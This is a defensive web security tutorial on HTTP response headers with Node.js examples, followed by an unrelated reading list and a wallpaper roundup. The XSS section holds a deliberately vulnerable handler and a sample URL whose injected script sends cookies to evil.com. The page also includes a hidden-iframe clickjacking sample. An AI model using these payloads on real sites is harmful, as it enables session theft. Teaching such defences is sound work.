Today, hundreds of headers are used by web apps, some standardized by the Internet Engineering Task Force6 (IETF), the open organization that is behind many of the standards that power the web as we know it today, and some proprietary. HTTP headers provide a flexible and extensible mechanism that enables the rich and varying use cases found on the web today.

Disabling Caching Of Confidential Resources Link

Caching is a valuable and effective technique for optimizing performance in client-server architectures, and HTTP, which leverages caching extensively, is no exception. However, in cases where the cached resource is confidential, caching can lead to vulnerabilities — and must be avoided. As an example, consider a web app that renders and caches a page with sensitive information and is being used on a shared PC. Anyone can view confidential information rendered by that web app simply by visiting the browser’s cache, or sometimes even as easily as clicking the browser’s “back” button!

The IETF’s RFC 72347, which defines HTTP caching, specifies the default behavior of HTTP clients, both browsers and intermediary Internet proxies, to always cache responses to HTTP GET requests — unless specified otherwise. While this enables HTTP to boost performance and reduce network congestion, it could also expose end users to theft of personal information, as mentioned above. The good news is that the HTTP specification also defines a pretty simple way to instruct clients not to cache a given response, through the use of — you guessed it! — HTTP response headers.

There are three headers to return when you are returning sensitive information and would like to disable caching by HTTP clients:

  • Cache-Control

    This response header, introduced in HTTP 1.1, may contain one or more directives, each carrying a specific caching semantic, and instructing HTTP clients and proxies on how to treat the response being annotated by the header. My recommendation is to format the header as follows: cache-control: no-cache, no-store, must-revalidate. These three directives pretty much instruct clients and intermediary proxies not to use a previously cached response, not to store the response, and that even if the response is somehow cached, the cache must be revalidated on the origin server.
  • Pragma: no-cache

    For backwards-compatibility with HTTP 1.0, you will want to include this header as well. Some HTTP clients, especially intermediary proxies, still might not fully support HTTP 1.1 and so will not correctly handle the Cache-Control header mentioned above. Use Pragma: no-cache to ensure that these older clients do not cache your response.
  • Expires: -1

    This header specifies a timestamp after which the response is considered stale. By specifying -1, instead of an actual future time, you ensure that clients immediately treat this response as stale and avoid caching.

Note that, while disabling caching enhances the security of your web app and helps to protect confidential information, is does come at the price of a performance hit. Make sure to disable caching only for resources that actually require confidentiality and not just for any response rendered by your server! For a deeper dive into best practices for caching web resources, I highly recommend reading Jake Archibald’s post8 on the subject.

Here’s how you would program these headers in Node.js:

function requestHandler(req, res) { res.setHeader('Cache-Control','no-cache,no-store,max-age=0,must-revalidate'); res.setHeader('Pragma','no-cache'); res.setHeader('Expires','-1'); }

Enforcing HTTPS Link

Today, the importance of HTTPS is widely recognized by the tech community. More and more web apps configure secured endpoints and are redirecting unsecure traffic to secured endpoints (i.e. HTTP to HTTPS redirects). Unfortunately, end users have yet to fully comprehend the importance of HTTPS, and this lack of comprehension exposes them to various man-in-the-middle (MitM) attacks. The typical user navigates to a web app without paying much attention to the protocol being used, be it secure (HTTPS) or unsecure (HTTP). Moreover, many users will just click past browser warnings when their browser presents a certificate error or warning!

The importance of interacting with web apps over a valid HTTPS connection cannot be overstated: An unsecure connection exposes the user to various attacks, which could lead to cookie theft or worse. As an example, it is not very difficult for an attacker to spoof network frames within a public Wi-Fi network and to extract the session cookies of users who are not using HTTPS. To make things even worse, even users interacting with a web app over a secured connection may be exposed to downgrade attacks, which try to force the connection to be downgraded to an unsecure connection, thus exposing the user to MitM attacks.

How can we help users avoid these attacks and better enforce the usage of HTTPS? Enter the HTTP Strict Transport Security (HSTS) header. Put simply, HSTS makes sure all communications with the origin host are using HTTPS. Specified in RFC 67979, HSTS enables a web app to instruct browsers to allow only HTTPS connections to the origin host, to internally redirect all unsecure traffic to secured connections, and to automatically upgrade all unsecure resource requests to be secure.

HSTS directives include the following:

  • max-age=<number of seconds>

    This instructs the browser to cache this header, for this domain, for the specified number of seconds. This can ensure tightened security for a long duration!
  • includeSubDomains

    This instructs the browser to apply HSTS for all subdomains of the current domain. This can be useful to cover all current and future subdomains you may have.
  • preload

    This is a powerful directive that forces browsers to always load your web app securely, even on the first hit, before the response is even received! This works by hardcoding a list of HSTS preload-enabled domains into the browser’s code. To enable the preloading feature, you need to register your domain with HSTS Preload List Submission10, a website maintained by Google’s Chrome team. Once registered, the domain will be prebuilt into supporting browsers to always enforce HSTS. The preload directive within the HTTP response header is used to confirm registration, indicating that the web app and domain owner are indeed interested in being on the preload list.

A word of caution: using the preload directive also means it cannot be easily undone, and carries an update lead time of months! While preload certainly improves your app’s security, it also means you need to be fully confident your app can support HTTPS-only!

My recommendation is to use Strict-Transport-Security: max-age=31536000; includeSubDomains; which instructs the browser to enforce a valid HTTPS connection to the origin host and to all subdomains for a year. If you are confident that your app can handle HTTPS-only, I would also recommend adding the preload directive, in which case don’t forget to register your website on the preload list as well, as noted above!

Here’s what implementing HSTS looks like in Node.js:

function requestHandler(req, res) { res.setHeader('Strict-Transport-Security','max-age=31536000; includeSubDomains; preload'); }

Enabling XSS Filtering Link

In a reflected cross-site scripting attack (reflected XSS), an attacker injects malicious JavaScript code into an HTTP request, with the injected code “reflected” in the response and executed by the browser rendering the response, enabling the malicious code to operate within a trusted context, accessing potentially confidential information such as session cookies. Unfortunately, XSS is a pretty common web app attack, and a surprisingly effective one!

To understand a reflected XSS attack, consider the Node.js code below, rendering mywebapp.com, a mock and intentionally simple web app that renders search results alongside the search term requested by the user:

function handleRequest(req, res) { res.writeHead(200); // Get the search term const parsedUrl = require('url').parse(req.url); const searchTerm = decodeURI(parsedUrl.query); const resultSet = search(searchTerm); // Render the document res.end( "<html>" + "<body>" + "<p>You searched for: " + searchTerm + "</p>" + // Search results rendering goes here… "</body>" + "</html>"); };

Now, consider how will the web app above handle a URL constructed with malicious executable code embedded within the URL, such as this:

https://mywebapp.com/search?</p><script>window.location=“http://evil.com?cookie=”+document.cookie</script>

As you may realize, this URL will make the browser run the injected script and send the user’s cookies, potentially including confidential session cookies, to evil.com!

To help protect users against reflective XSS attacks, some browsers have implemented protection mechanisms. These mechanisms try to identify these attacks by looking for matching code patterns in the HTTP request and response. Internet Explorer was the first browser to introduce such a mechanism with its XSS filter, introduced in Internet Explorer 8 back in 2008, and WebKit later introduced XSS Auditor, available today in Chrome and Safari. (Firefox has no similar mechanism built in, but users can use add-ons to gain this functionality.) These various protection mechanisms are not perfect: They may fail to detect a real XSS attack (a false negative), and in other cases may block legitimate code (a false positive). Due to the latter, browsers allow users to disable the XSS filter via the settings. Unfortunately, this is typically a global setting, which turns off this security feature completely for all web apps loaded by the browser.

Luckily, there is a way for a web app to override this configuration and ensure that the XSS filter is turned on for the web app being loaded by the browser. This is done via the X-XSS-Protection header. This header, supported by Internet Explorer (from version 8), Edge, Chrome and Safari, instructs the browser to turn on or off the browser’s built-in protection mechanism and to override the browser’s local configuration.

X-XSS-Protection directives include these:

  • 1 or 0

    This enables or disables the filter.
  • mode=block

    This instructs the browser to prevent the entire page from rendering when an XSS attack is detected.

I recommend always turning on the XSS filter, as well as block mode, to maximize user protection. Such a response header looks like this:

X-XSS-Protection: 1; mode=block

Here’s how you would configure this response header in Node.js:

function requestHandler(req, res) { res.setHeader('X-XSS-Protection','1;mode=block'); }

Controlling Framing Link

An iframe (or HTML inline frame element, if you want to be more formal) is a DOM element that allows a web app to be nested within a parent web app. This powerful element enables some important web use cases, such as embedding third-party content into web apps, but it also has significant drawbacks, such as not being SEO-friendly and not playing nice with browser navigation — the list goes on.

One of the caveats of iframes is that it makes clickjacking easier. Clickjacking is an attack that tricks the user into clicking something different than what they think they’re clicking. To understand a simple implementation of clickjacking, consider the HTML markup below, which tries to trick the user into buying a toaster when they think they are clicking to win a prize!

<html> <body> <button class='some-class'>Win a Prize!</button> <iframe class='some-class' style='opacity: 0;’ src='http://buy.com?buy=toaster'></iframe> </body> </html>

Clickjacking has many malicious applications, such as tricking the user into confirming a Facebook like, purchasing an item online and even submitting confidential information. Malicious web apps can leverage iframes for clickjacking by embedding a legitimate web app inside their malicious web app, rendering the iframe invisible with the opacity: 0 CSS rule, and placing the iframe’s click target directly on top of an innocent-looking button rendered by the malicious web app. A user who clicks the innocent-looking button will trigger a click on the embedded web app — without at all knowing the effect of their click.

An effective way to block this attack is by restricting your web app from being framed. X-Frame-Options, specified in RFC 703411, is designed to do exactly that! This header instructs the browser to apply limitations on whether your web app can be embedded within another web page, thus blocking a malicious web page from tricking users into invoking various transactions on your web app. You can either block framing completely using the DENY directive, whitelist specific domains using the ALLOW-FROM directive, or whitelist only the web app’s origin using the SAMEORIGIN directive.

My recommendation is to use the SAMEORIGIN directive, which enables iframes to be leveraged for apps on the same domain — which may be useful at times — and which maintains security. This recommended header looks like this:

X-Frame-Options: SAMEORIGIN

Here’s an example of a configuration of this header to enable framing on the same origin in Node.js:

function requestHandler(req, res) { res.setHeader('X-Frame-Options','SAMEORIGIN'); }

Explicitly Whitelisting Sources Link

As we’ve noted earlier, you can add in-depth security to your web app by enabling the browser’s XSS filter. However, note that this mechanism is limited, is not supported by all browsers (Firefox, for instance, does not have an XSS filter) and relies on pattern-matching techniques that can be tricked.

Another layer of in-depth protection against XSS and other attacks can be achieved by explicitly whitelisting trusted sources and operations — which is what Content Security Policy (CSP) enables web app developers to do.

CSP is a W3C specification12 that defines a powerful browser-based security mechanism, enabling granular control over resource-loading and script execution in a web app. With CSP, you can whitelist specific domains for operations such as script-loading, AJAX calls, image-loading and style sheet-loading. You can enable or disable inline scripts or dynamic scripts (the notorious eval) and control framing by whitelisting specific domains for framing. Another cool feature of CSP is that it allows you to configure a real-time reporting target, so that you can monitor your app in real time for CSP blocking operations.

This explicit whitelisting of resource loading and execution provides in-depth security that in many cases will fend off attacks. For example, by using CSP to disallow inline scripts, you can fend off many of the reflective XSS attack variants that rely on injecting inline scripts into the DOM.

CSP is a relatively complex header, with a lot of directives, and I won’t go into the details of the various directives. HTML5 Rocks has a great tutorial13 that provides an overview of CSP, and I highly recommend reading it and learning how to use CSP in your web app.

Here’s a simple example of a CSP configuration to allow script-loading from the app’s origin only and to block dynamic script execution (eval) and inline scripts (as usual, on Node.js):

function requestHandler(req, res) { res.setHeader('Content-Security-Policy',"script-src 'self'"); }

Preventing Content-Type Sniffing Link

In an effort to make the user experience as seamless as possible, many browsers have implemented a feature called content-type sniffing, or MIME sniffing. This feature enables the browser to detect the type of a resource provided as part of an HTTP response by “sniffing” the actual resource bits, regardless of the resource type declared through the Content-Type response header. While this feature is indeed useful in some cases, it introduces a vulnerability and an attack vector known as a MIME confusion attack. A MIME-sniffing vulnerability enables an attacker to inject a malicious resource, such as a malicious executable script, masquerading as an innocent resource, such as an image. With MIME sniffing, the browser will ignore the declared image content type, and instead of rendering an image will execute the malicious script.

Luckily, the X-Content-Type-Options response header mitigates this vulnerability! This header, introduced in Internet Explorer 8 back in 2008 and currently supported by most major browsers (Safari is the only major browser not to support it), instructs the browser not to use sniffing when handling fetched resources. Because X-Content-Type-Options was only formally specified as part of the “Fetch” specification14, the actual implementation varies across browsers; some (Internet Explorer and Edge) completely avoid MIME sniffing, whereas others (Firefox) still MIME sniff but rather block executable resources (JavaScript and CSS) when an inconsistency between declared and actual types is detected. The latter is in line with the latest Fetch specification.

X-Content-Type-Options is a simple response header, with only one directive: nosniff. This header looks like this: X-Content-Type-Options: nosniff. Here’s an example of a configuration of the header:

function requestHandler(req, res) { res.setHeader('X-Content-Type-Options','nosniff'); }

Summary Link

In this article, we have seen how to leverage HTTP headers to reinforce the security of your web app, to fend off attacks and to mitigate vulnerabilities.

Takeaways Link

  • Disable caching for confidential information using the Cache-Control header.
  • Enforce HTTPS using the Strict-Transport-Security header, and add your domain to Chrome’s preload list.
  • Make your web app more robust against XSS by leveraging the X-XSS-Protection header.
  • Block clickjacking using the X-Frame-Options header.
  • Leverage Content-Security-Policy to whitelist specific sources and endpoints.
  • Prevent MIME-sniffing attacks using the X-Content-Type-Options header.

Remember that for the web to be truly awesome and engaging, it has to be secure. Leverage HTTP headers to build a more secure web!

(Disclaimer: The content of this post is my own and doesn’t represent my past or current employers in any way whatsoever.)

Front page image credits: Pexels.com15.

(da, yk, al, il)

Footnotes Link

  1. 1 http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/
  2. 2 https://www.smashingmagazine.com/2013/06/building-a-responsive-web-application/
  3. 3 https://www.smashingmagazine.com/2016/02/getting-ready-for-http2/
  4. 4 https://www.smashingmagazine.com/2010/10/common-security-mistakes-in-web-applications/
  5. 5 https://www.smashingmagazine.com/2010/01/web-security-primer-are-you-part-of-the-problem/
  6. 6 https://www.ietf.org/
  7. 7 https://tools.ietf.org/html/rfc7234
  8. 8 https://jakearchibald.com/2016/caching-best-practices/
  9. 9 https://tools.ietf.org/html/rfc6797
  10. 10 https://hstspreload.org
  11. 11 https://www.ietf.org/rfc/rfc7034.txt
  12. 12 https://www.w3.org/TR/2016/WD-CSP3-20160901/
  13. 13 https://www.html5rocks.com/en/tutorials/security/content-security-policy/
  14. 14 https://fetch.spec.whatwg.org/#x-content-type-options-header
  15. 15 https://www.pexels.com/photo/coffee-writing-computer-blogging-34600/

↑ Back to topTweet itShare on Facebook

Web Development Reading List #176: Safari 10.1, Prompt()-Deprecation, And Professional Pride

by

Web Development Reading List #176: Safari 10.1, Prompt()-Deprecation, And Professional Pride

What a busy week! To stay on top of things, let’s review what happened in the web development world the last few days — from browser vendors pushing new updates and building new JavaScript guidelines and security standards to why we as web professionals need to review our professional pride. How can we properly revoke certificates in browsers, for example? And how can we build accessibility into a style guide? Let’s take a look.

Further Reading on SmashingMag: Link

News Link

  • Safari 10.1 was announced a while ago already, and this week it finally came to Macs and iOS devices around the world. The new Safari version ships CSS Grid Layouts, fetch(), IndexedDB2.0, Custom Elements, Form Validation, Media Capture, and much more. You can read more about the new features and how to use them5 in detail on the WebKit blog.
  • Chromium is advising developers to not use alert(), confirm(), and prompt() methods in JavaScript anymore6, and, in the future, they might even deprecate sites that still use them. The suggestion is to use the Web Notification API instead, in the hope that its asynchronous nature will prevent it from being misused against users. As a nice side effect, using the API will also speed up browser performance significantly.
  • This week, Mozilla started with their Security/Binary Transparency7 project which allows third parties to verify that binaries from Mozilla match the original public source code exactly and also to check for its integrity. This is a huge step in open-source and binary app development that other applications out there would benefit from, too.
  • The Chromium project is implementing8 the WICG proposal of a Feature Policy9 (see launch status10), an interesting concept to complete other policies such as the Content Security Policy. By allowing site owners to explicitly allow or disallow browser features such as geolocation, webcam/microphone access and similar things, sites can better protect their users from exploits.
11
As a protection against compromised binaries, Mozilla’s Security/Binary Transparency project12 allows third parties to verify that all Firefox binaries are public. (Image credit13)

General Link

  • Jens Grochtdreis shared his thoughts on professional pride14, aiming at all the people who write JavaScript tutorials without focusing on the HTML or CSS. A bad practice that leads to incomplete and sometimes even false code examples that are then used in the wild.

Concept & Design Link

  • We all know the annoying overlays that prompt website visitors to take action — “sign up for the newsletter”, “like the page on Facebook”. Bureau of Programming now shares thoughts on why it was easier to get rid of annoying pop-up windows and why it’s up to us developers to not build annoying features15 if we want to make the web a useful, friendly place.
Pop-Up Modals16
Pop-up modals are annoying and make a site unnecessarily hard to use. Bureau of Programming summarized the dilemma and what we can do against it17.

Security Link

  • A new paper from a joint venture of universities and Akamai Technologies introduces CRLite, a scalable system for pushing all TLS revocations to all browsers18 (PDF, 1.3MB). Currently, no major browser fully checks for TLS/SSL certificate revocations, but that could be changing soon if vendors agree with this research paper and start implementing the system.

Accessibility Link

CSS/Sass Link

Going Beyond… Link

And with that, I’ll close for this week. If you like what I write each week, please support me with a donation24 or share this resource with other people. You can learn more about the costs of the project here25. It’s available via email, RSS and online.

— Anselm

Footnotes Link

  1. 1 https://www.smashingmagazine.com/2014/09/making-modal-windows-better-for-everyone/
  2. 2 https://www.smashingmagazine.com/2016/05/creating-a-living-style-guide-case-study/
  3. 3 https://www.smashingmagazine.com/2016/03/integrate-motion-design-animation-ux-workflow/
  4. 4 https://www.smashingmagazine.com/2013/10/smart-transitions-in-user-experience-design/
  5. 5 https://webkit.org/blog/7477/new-web-features-in-safari-10-1/
  6. 6 https://developers.google.com/web/updates/2017/03/dialogs-policy
  7. 7 https://wiki.mozilla.org/Security/Binary_Transparency
  8. 8 https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/uKO1CwiY3ts
  9. 9 https://wicg.github.io/feature-policy/
  10. 10 https://www.chromestatus.com/feature/5694225681219584
  11. 11 https://wiki.mozilla.org/Security/Binary_Transparency
  12. 12 https://wiki.mozilla.org/Security/Binary_Transparency
  13. 13 https://wiki.mozilla.org/Security/Binary_Transparency
  14. 14 https://medium.com/@Flocke/professional-pride-7b84287ae747
  15. 15 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
  16. 16 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
  17. 17 https://python.sh/2017/3/i-dont-want-to-subscribe-to-your-newsletter
  18. 18 http://www.ccs.neu.edu/home/cbw/static/pdf/larisch-oakland17.pdf
  19. 19 http://a11y-style-guide.com/style-guide/
  20. 20 https://developers.google.com/web/updates/2017/03/performant-expand-and-collapse
  21. 21 http://www.vox.com/energy-and-environment/2017/3/23/15028480/roadmap-paris-climate-goals
  22. 22 https://www.wired.com/2017/03/silicon-valley-rather-cure-death-make-life-worth-living/
  23. 23 http://www.niemanlab.org/2017/03/slower-structural-developments-that-shape-society-a-qa-with-de-correspondent-editor-rob-wijnberg/
  24. 24 https://wdrl.info/donate
  25. 25 https://wdrl.info/costs/

↑ Back to topTweet itShare on Facebook

Blooming Colors And A Bit Of Magic: Wallpapers To Get Your Ideas Springing (April 2017 Edition)

by
367

April Food’s Day

“Prank your friends with caution.” — Designed by foodpanda Singapore381 from Singapore.

April Food’s Day382

We Could All Be Happy

“I believe that Earth is something that we take for granted. We need to start taking care of our home, after all if the Earth is not OK, we won’t be.” — Designed by Maria Keller406 from Mexico.

We Could All Be Happy407

Funshower

“I designed this wallpaper combining both the sunny and the rainy weather. April, here in Italy, is synonymous with flowers and fun, and we can enjoy the first hot days after winter; but it’s also damn rainy! So I just brought all together and made my ‘Funshower’, a funny pun!” — Designed by Stefano Marchini459 from Italy.

Funshower460

Happy Birthday Hans!

“April the 2nd is Hans Christian Andersen’s birthday. Hans is most famous for his magical fairy tales, such as ‘The Little Mermaid’, ‘The Princess and the Pea’ and ‘Thumbelina’. I always loved the tale of Thumbelina, so I created this wallpaper for Hans!” — Designed by Safia Begum496 from the United Kingdom.

Happy Birthday Hans!497

Idea Catalysts

“Design is a community. Each one of these creators found their way into my consciousness as idea-catalysts. This is my way of thanking them and so I’m excited to bring this set to the greater design community. However these are used, my aim is to pay tribute to these sixteen and drive baby-steppers to great inspirers.” — Designed by Juliane Bone517 from California.

Idea Catalysts518

The Kite Festival

“Every year, Washington DC’s Kite Festival is a welcome sight in spring. The National Mall is transformed by colorful serpents, butterflies, and homemade winged crafts and by the families who come from across the city to enjoy their aerial stunts over a picnic at the base of the Washington Monument.” — Designed by The Hannon Group562 from Washington, DC.

The Kite Festival563

Sweet Lovers

“The most beautiful flowers are in bloom around my neighborhood, and I get this little tune stuck in my head every time I go for a walk. I thought it would be perfect for a bright watercolor-styled design!” — Designed by Alyson Sherrard585 from Pensacola, Florida.

Sweet Lovers586

Bad Bunny

“This bad bunny is just waiting for Easter. :)” — Designed by Izabela600 from Poland.

Bad Bunny601

The Brighter Side Of Life

“Sometimes when you are out and about you see something that captures your attention. It does not have to be anything spectacular, but you know that you want to remember it at that specific point in time. No matter how busy you are, stop and see the flowers.” — Designed by Kris G613 from the USA.

The Brighter Side Of Life614

Spring Is In The Air

“‘When all the world appears to be in a tumult, and nature itself is feeling the assault of climate change, the seasons retain their essential rhythm. Yes, fall gives us a premonition of winter, but then, winter, will be forced to relent, once again, to the new beginnings of soft greens, longer light, and the sweet air of spring.‘ (Madeleine M. Kunin)” — Designed by Dipanjan Karmakar632 from India.

Spring Is In The Air633

Spring Proverb

“My calendar is an illustration of the old proverb ‘April showers bring May flowers’. I always look forward to the end of that transition.” — Designed by Caitey Kennedy651 from the United States.

Spring Proverb652

Home Sweet Home

“A smiling earth is how I wish to think of my home planet. I like to believe that whenever a plantling gets its root deep into the soil, or when a dolphin jumps out of the water, the earth must be getting tickled, bringing a wide grin on its face. So this World Earth Day, let’s promote afforestation, protect the wildlife and its habitat. Let’s make the earth smile forever.” — Designed by Acodez IT Solutions674 from India.

Home Sweet Home675

Happy Chickens

“When I think of spring, I think of little chickens playing in the field. They always look so happy. I just bought 3 new little chickens, and they are super cute. So enjoy this wallpaper, and enjoy spring.” — Designed by Melissa Bogemans719 from Belgium.

Happy Chickens720

Spring Magic

“Spring revives nature, so I designed a wallpaper with a cute little fairy who awakens plants.” — Designed by Hushlenko Antonina762 from Ukraine.

Spring Magic763

Tea Time

“April showers bring May flowers, and what better way to enjoy rainy weather than to get stuck in a surreal book, in a comfy nook, with a kettle of tea!” — Designed by Brooke Coraldi807 from the United States.

Tea Time808

Flowers On The Wall

“It is time for more colour in our life! After this cold and dark winter, we have to paint our minds or better our walls. Flower power everywhere!” — Designed by Sabrina Lobien848144 from Germany.

Flowers On The Wall849

What Does The Fox Say?

Designed by Doud – Elise Vanoorbeek861 from Belgium.

What Does The Fox Say?862

April’s Octave

“April is magical. April is musical. April is mesmerizing. April is the International Month of Guitar. Let this calendar make it special.” — Designed by ColorMean Creative Studio884 from Dubai, United Arab Emirates

April’s Octave885

New Beginnings

“Spring is a great time to photograph nature because everything is green and full of new life. Like spring, a sunrise is also the start of something new.” — Designed by Marc Andre929 from the United States.

New Beginnings930

Join In Next Month! Link

Please note that we respect and carefully consider the ideas and motivation behind each and every artist’s work. This is why we give all artists the full freedom to explore their creativity and express emotions and experience throughout their works. This is also why the themes of the wallpapers weren’t anyhow influenced by us, but rather designed from scratch by the artists themselves.

A big thank you to all designers for their participation. Join in next month974!

What’s Your Favorite? Link

What’s your favorite theme or wallpaper for this month? Please let us know in the comment section below.

Footnotes Link

  1. 1 https://www.smashingmagazine.com/tag/wallpapers/
  2. 2 https://www.smashingmagazine.com/desktop-wallpaper-calendars-join-in/
  3. 3 https://www.smashingmagazine.com/easter-wallpaper/
  4. 4 https://www.smashingmagazine.com/2008/07/50-remarkable-nature-wallpapers/
  5. 5 https://www.smashingmagazine.com/2009/05/fantastic-wallpapers-that-will-blow-your-desktop-away/
  6. 6 https://www.smashingmagazine.com/2016/11/how-to-create-a-dramatic-vector-illustration/
  7. 7 http://www.popwebdesign.net/index_eng.html
  8. 8 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/apr-17-april-is-the-nicest-month-full.jpg
  9. 9 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/apr-17-april-is-the-nicest-month-preview.jpg
  10. 10 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-320×480.jpg
  11. 11 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-640×480.jpg
  12. 12 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-800×480.jpg
  13. 13 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-800×600.jpg
  14. 14 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1024×768.jpg
  15. 15 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1024×1024.jpg
  16. 16 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1152×864.jpg
  17. 17 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×720.jpg
  18. 18 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×800.jpg
  19. 19 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×960.jpg
  20. 20 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1280×1024.jpg
  21. 21 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1400×1050.jpg
  22. 22 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1440×900.jpg
  23. 23 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1600×1200.jpg
  24. 24 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1680×1050.jpg
  25. 25 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1680×1200.jpg
  26. 26 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1920×1080.jpg
  27. 27 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1920×1200.jpg
  28. 28 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-1920×1440.jpg
  29. 29 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/cal/apr-17-april-is-the-nicest-month-cal-2560×1440.jpg
  30. 30 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-320×480.jpg
  31. 31 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-640×480.jpg
  32. 32 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-800×480.jpg
  33. 33 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-800×600.jpg
  34. 34 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1024×768.jpg
  35. 35 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1024×1024.jpg
  36. 36 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1152×864.jpg
  37. 37 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×720.jpg
  38. 38 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×800.jpg
  39. 39 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×960.jpg
  40. 40 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1280×1024.jpg
  41. 41 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1400×1050.jpg
  42. 42 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1440×900.jpg
  43. 43 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1600×1200.jpg
  44. 44 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1680×1050.jpg
  45. 45 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1680×1200.jpg
  46. 46 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1920×1080.jpg
  47. 47 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1920×1200.jpg
  48. 48 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-1920×1440.jpg
  49. 49 http://files.smashingmagazine.com/wallpapers/apr-17/april-is-the-nicest-month/nocal/apr-17-april-is-the-nicest-month-nocal-2560×1440.jpg
  50. 50 https://izagrzegorczyk.tumblr.com/
  51. 51 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/apr-17-colors-of-april-full.jpg
  52. 52 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/apr-17-colors-of-april-preview.jpg
  53. 53 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1366×768.jpg
  54. 54 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1600×1200.jpg
  55. 55 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1680×1050.jpg
  56. 56 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-1920×1200.jpg
  57. 57 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/cal/apr-17-colors-of-april-cal-2560×1440.jpg
  58. 58 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/nocal/apr-17-colors-of-april-nocal-1366×768.jpg
  59. 59 http://files.smashingmagazine.com/wallpapers/apr-17/colors-of-april/nocal/apr-17-colors-of-april-nocal-1600×1200.jpg
